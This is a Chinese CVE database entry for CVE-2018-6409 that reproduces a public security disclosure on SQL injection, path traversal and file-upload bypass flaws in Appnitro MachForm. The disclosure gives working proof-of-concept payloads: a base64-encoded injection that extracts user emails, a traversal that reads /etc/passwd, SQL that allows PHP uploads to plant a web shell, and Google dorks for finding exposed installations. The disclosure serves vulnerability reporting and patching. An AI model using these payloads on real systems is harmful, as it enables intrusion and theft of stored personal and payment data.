CVE-2018-6409
CVSS5.0
发布时间 :2018-05-26 18:29:00
修订时间 :2018-06-29 13:47:38
NMP    

[原文]An issue was discovered in Appnitro MachForm before 4.2.3. The module in charge of serving stored files gets the path from the database. Modifying the name of the file to serve on the corresponding ap_form table leads to a path traversal vulnerability via the download.php q parameter.


[CNNVD]CNNVD数据暂缺。


[机译]译文暂缺.

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-22 [对路径名的限制不恰当(路径遍历)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6409
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-6409
(官方数据源) NVD

- 其它链接及资源

https://metalamin.github.io/MachForm-not-0-day-EN/
(VENDOR_ADVISORY)  MISC  https://metalamin.github.io/MachForm-not-0-day-EN/
https://www.exploit-db.com/exploits/44804/
(VENDOR_ADVISORY)  EXPLOIT-DB  44804
https://www.machform.com/blog-machform-423-security-release/
(VENDOR_ADVISORY)  MISC  https://www.machform.com/blog-machform-423-security-release/

- 漏洞信息 (F147948)

Appnitro MachForm SQL Injection / Traversal / File Upload (PacketStormID:F147948)
2018-05-28 00:00:00
Amine Taouirsa  
exploit,remote,vulnerability,sql injection,file inclusion,file upload
CVE-2018-6409,CVE-2018-6410,CVE-2018-6411
[点击下载]

Appnitro MachForm suffers from remote file upload, remote SQL injection, and path traversal vulnerabilities.

Vendor: Appnitro
Product webpage: https://www.machform.com/
Full-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/
Fix: https://www.machform.com/blog-machform-423-security-release/

Author: Amine Taouirsa
@metalamin

Google dork examples:
----------------------
"machform" inurl:"view.php"
"machform" inurl:"embed.php"

Summary:
---------
The form creation platform MachForm from Appnitro is subject to SQL
injections that lead to path traversal and arbitrary file upload.

The application is widely deployed and with some google dorks itas possible
to find various webpages storing sensitive data as credit card numbers with
corresponding security codes. Also, the arbitrary file upload can let an
attacker get control of the server by uploading a WebShell.

[1] SQL injection (CVE-2018-6410):
-------------------------

[1.1] Description:
The software is subject to SQL injections in the adownload.phpa file.

[1.2] Parameters and statement:
This SQLi can be found on the parameter aqa which a base64 encoded value
for the following parameters:

  $form_id = $params['form_id'];
  $id      = $params['id'];
  $field_name = $params['el'];
  $file_hash  = $params['hash'];


So the injectable parameters are aela and aform_ida obtaining error-based,
stacked queries and time-based blind SQL injections. This is due to the
following vulnerable statement:

  $query = "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}`
where id=?";


[1.3] POC
Proof of concept to get the first user mail:
  http:// [URL] / [Machform_folder]
/download.php?q=ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgyMDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3VzZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RFUl9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=

Which is the base64 encoding for:
  el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT
MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT
0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP
BY x)a) ;&id=1&hash=1&form_id=1


[2] Path traversal (CVE-2018-6409):
-----------------------------------

[2.1] Descrition
download.phpa is used to serve stored files from the forms answers.
Modifying the name of the file to serve on the corresponding ap_form table
leads to a path traversal vulnerability.

[2.2] POC
First we need to change the name for the element on the form:
update ap_form_58009 set
element_4="../../../../../../../../../../../../../../../../etc/passwd"
where id=1;

Now in order to be able to download it, we need to access:
  http:// [URL] / [Machform_folder]
/download.php?q=ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0NTgmZm9ybV9pZD01ODAwOQo=

Which is the base64 encoding for;
  el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009

Note that hash is the MD5 of the corresponding filename:
  md5("../../../../../../../../../../../../../../../../etc/passwd") =
402ba0230d6f44a2de590ac11107a458

[3] Bypass file upload filter (CVE-2018-6411):
----------------------------------------------

When the form is set to filter a blacklist, it automatically add dangerous
extensions to the filters.
If the filter is set to a whitelist, the dangerous extensions can be
bypassed.

This can be done directly on the database via SQLi
update ap_form_elements set
element_file_type_list="php",element_file_block_or_allow="a" where
form_id=58009 and element_id=4;

Once uploaded the file can be found and executed in the following URL:
http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]

The filename can be found in the database
SELECT element_4 FROM ap_form_58009 WHERE id=1;

-- 

Amine Taouirsa

Hacking | Head of Hacking Research

amine_taouirsa@innotecsystem.com

T. +34 917 281 504 | M. +34 644 486 240

Avda. Llano Castellano, 43 28034 MADRID


<http://www.innotecsystem.com/>


    
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站